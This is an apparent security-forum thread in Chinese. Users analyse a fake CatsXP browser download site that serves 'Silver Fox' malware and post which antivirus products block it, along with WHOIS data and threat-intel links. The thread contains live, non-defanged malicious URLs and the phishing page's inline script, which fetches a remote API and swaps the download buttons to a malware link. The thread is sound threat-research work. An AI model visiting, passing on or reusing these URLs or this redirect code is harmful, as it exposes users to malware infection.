fake catsxp

petr0vic

1. https://catsxp.com.cn/

复制代码

1. https://www.dashte4173.com/appini22

复制代码

https://www.virustotal.com/gui/f ... 64386aed5/detection

星河大帝

卡巴
拦截第一个网址
第二个下载后监控kill

123456aaaafsdeg

avast拦截网址

petr0vic

761773275

SEP16

1. [SID: 60501] URL reputation: Browser navigation to known bad URL 攻击已阻止。 已阻止此应用程序的通信: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe。
   
2. URL: https://catsxp.com.cn/
   
3. 强防护等级: 级别 1
   
4. URL 类别: 网络钓鱼

复制代码

第2个网站下载后执行杀衍生物

1. 检测到威胁 Heur.AdvML.B!100。文件 C:\Users\Public\j9LwMA\UxEnhance64.dll 已隔离。

复制代码

sun12344

WD。KILL

心醉咖啡

360

3306-1

依然是ＳＫ落地页接口提供的银狐病毒

关联帖子
https://bbs.kafan.cn/thread-2293606-1-1.html#pid57818477

外壳域名（不重要）
域　名　catsxp[.]com[.]cn
注册商　Web Commerce Communications Limited
注册人　5a2Z5L2z5qCL
邮　箱　YXpoaTY2MDA4QGdtYWlsLmNvbQ==
注册日　2026-06-23 14:09:08 UTC+8
过期日　2027-06-23 14:09:08 UTC+8
状　态　客户端禁止转移
DNS　　ns1[.]julydns[.]com
　　　　ns2[.]julydns[.]com
DNSSEC　未配置

接口域名（核心内容）
域　名　page-admin[.]site
注册商　West263 International Limited
注册人
邮　箱
注册日　2026-06-11 21:39:44 UTC+8
过期日　2027-06-11 21:39:44 UTC+8
更新日　2026-06-16 21:41:14 UTC+8
IANA_ID　915
状　态　正常
DNS　　ns1[.]363[.]hk
　　　　ns2[.]363[.]hk
DNSSEC　未配置

下载服务（动态更换）
域　名　dashte4173[.]com
注册商　Realtime Register B.V.
注册人
邮　箱
注册日　2026-07-12 15:00:34 UTC+8
过期日　2027-07-12 15:00:34 UTC+8
更新日　2026-07-12 15:00:57 UTC+8
IANA_ID　839
状　态　客户端禁止转移
DNS　　a4[.]share-dns[.]com
　　　　b4[.]share-dns[.]net
DNSSEC　未配置

外链统计脚本

1. <script charset="UTF-8" id="LA_COLLECT" src="//sdk[.]51[.]]la/js-sdk-pro.min.js">
   
2. 
   
3. <script>
   
4.         LA.init({
   
5.                 id: "3Q3R0HhFsRZ06Tr8",　＃ｉｄ编号不变
   
6.                 ck: "3Q3R0HhFsRZ06Tr8"　＃ｉｄ编号不变
   
7.         })
   
8. </script>

复制代码

内联脚本内容

1. // ---- 4. 动态下载链接 ----
   
2. fetch("https://page-admin[.]site/api.php")　＃核心接口不变
   
3.   .then(function (res) {
   
4.     return res.json();
   
5.   })
   
6.   .then(function (data) {
   
7.     if (data.code === 0 && data.download_link) {
   
8.       document.querySelectorAll(".download-btn").forEach(function (btn) {
   
9.         btn.href = data.download_link;
   
10.       });
    
11.     }
    
12.   })
    
13.   .catch(function () {
    
14.     // 静默失败，保留原始 href
    
15.   });

复制代码

接口描述信息

1. https://page-admin[.]site/index.php
   
2. 
   
3. 代号ＳＫ
   
4. 落地页链接统一管理系统

复制代码

接口响应内容

1. {
   
2.   "code": 0,
   
3.   "message": "success",
   
4.   "download_link": "https://www[.]dashte4173[.]com/appini22",
   
5.   "link_source": "global"
   
6. }

复制代码

历史响应参考

1. {
   
2.   "code": 0,
   
3.   "message": "success",
   
4.   "download_link": "https:\/\/www.oentvu8xii.com\/load15",
   
5.   "link_source": "global"
   
6. }

复制代码

下载参考名称

1. appstep.58680017.zip

复制代码

下载接口
https://s.threatbook.com/report/url/d4fe0ee602ecea748bc1837275af0781

响应内容
https://s.threatbook.com/report/file/9cb2cc5490db31c2c523fe274b78b22a2aac6c2e8125eea2bf96c451fae5b680

银狐病毒
https://s.threatbook.com/report/file/abc3ce1e15fdcfd5fd1623d719577b7770e43a24e86bb99874e9f48853e5c9e1

fdsax

百分 emsi拦截网址 TsAgent

Error50X

老朋友了。

https://catsxp.com/forum/viewtopic.php?t=5960